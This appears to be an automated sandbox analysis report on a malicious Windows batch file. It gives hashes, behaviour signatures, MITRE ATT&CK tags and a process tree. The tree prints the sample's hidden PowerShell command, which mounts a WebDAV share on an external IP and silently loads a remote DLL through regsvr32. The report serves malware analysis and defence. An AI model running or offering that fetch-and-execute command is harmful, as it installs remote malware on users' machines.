8500b5ebf6a2940bc6217c87acc11c6464520179bdf1c93fee2d61c27fd1a868

Analysis

max time kernel
148s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
21-07-2024 19:38

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General

Target

7576289933203012142.bat
Size

10KB
MD5

7937d77f7cb47a6ac14b9d2afa8006a1
SHA1

5c79c1f3a90e8a191dcca47b495aa0f44b9bbc52
SHA256

8500b5ebf6a2940bc6217c87acc11c6464520179bdf1c93fee2d61c27fd1a868
SHA512

60436f787877e2cb9c2081b44764593571847f5c151ab8fbc41bb5016d48c1e9cf6fef399c7f651cddb31ad0aa1732f94705ef63dfd36bf4b5cafd7b79da052f
SSDEEP

192:UrTBJ8O3LiOhXJsVkZ1urna6KZfcMbY60a+zSr6zivzmYTjnJB:qDt3LZXJoFrnatZEAY60a/7m+jJB

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4556	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-47134698-4092160662-1261813102-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4556	powershell.exe
4556	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4556	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
4860	wordpad.exe
4860	wordpad.exe
4860	wordpad.exe
4860	wordpad.exe
4860	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4492 wrote to memory of 4860	4492	cmd.exe	85
PID 4492 wrote to memory of 4860	4492	cmd.exe	85
PID 4492 wrote to memory of 4556	4492	cmd.exe	87
PID 4492 wrote to memory of 4556	4492	cmd.exe	87
PID 4556 wrote to memory of 5032	4556	powershell.exe	89
PID 4556 wrote to memory of 5032	4556	powershell.exe	89
PID 4556 wrote to memory of 4064	4556	powershell.exe	90
PID 4556 wrote to memory of 4064	4556	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\7576289933203012142.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4492
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:4860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\138492084312080.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4556
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:5032
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\138492084312080.dll
    3⤵
    PID:4064

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:1192

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yjsp2zj1.uxw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4556-0-0x000001FE52970000-0x000001FE52992000-memory.dmp

Filesize
136KB

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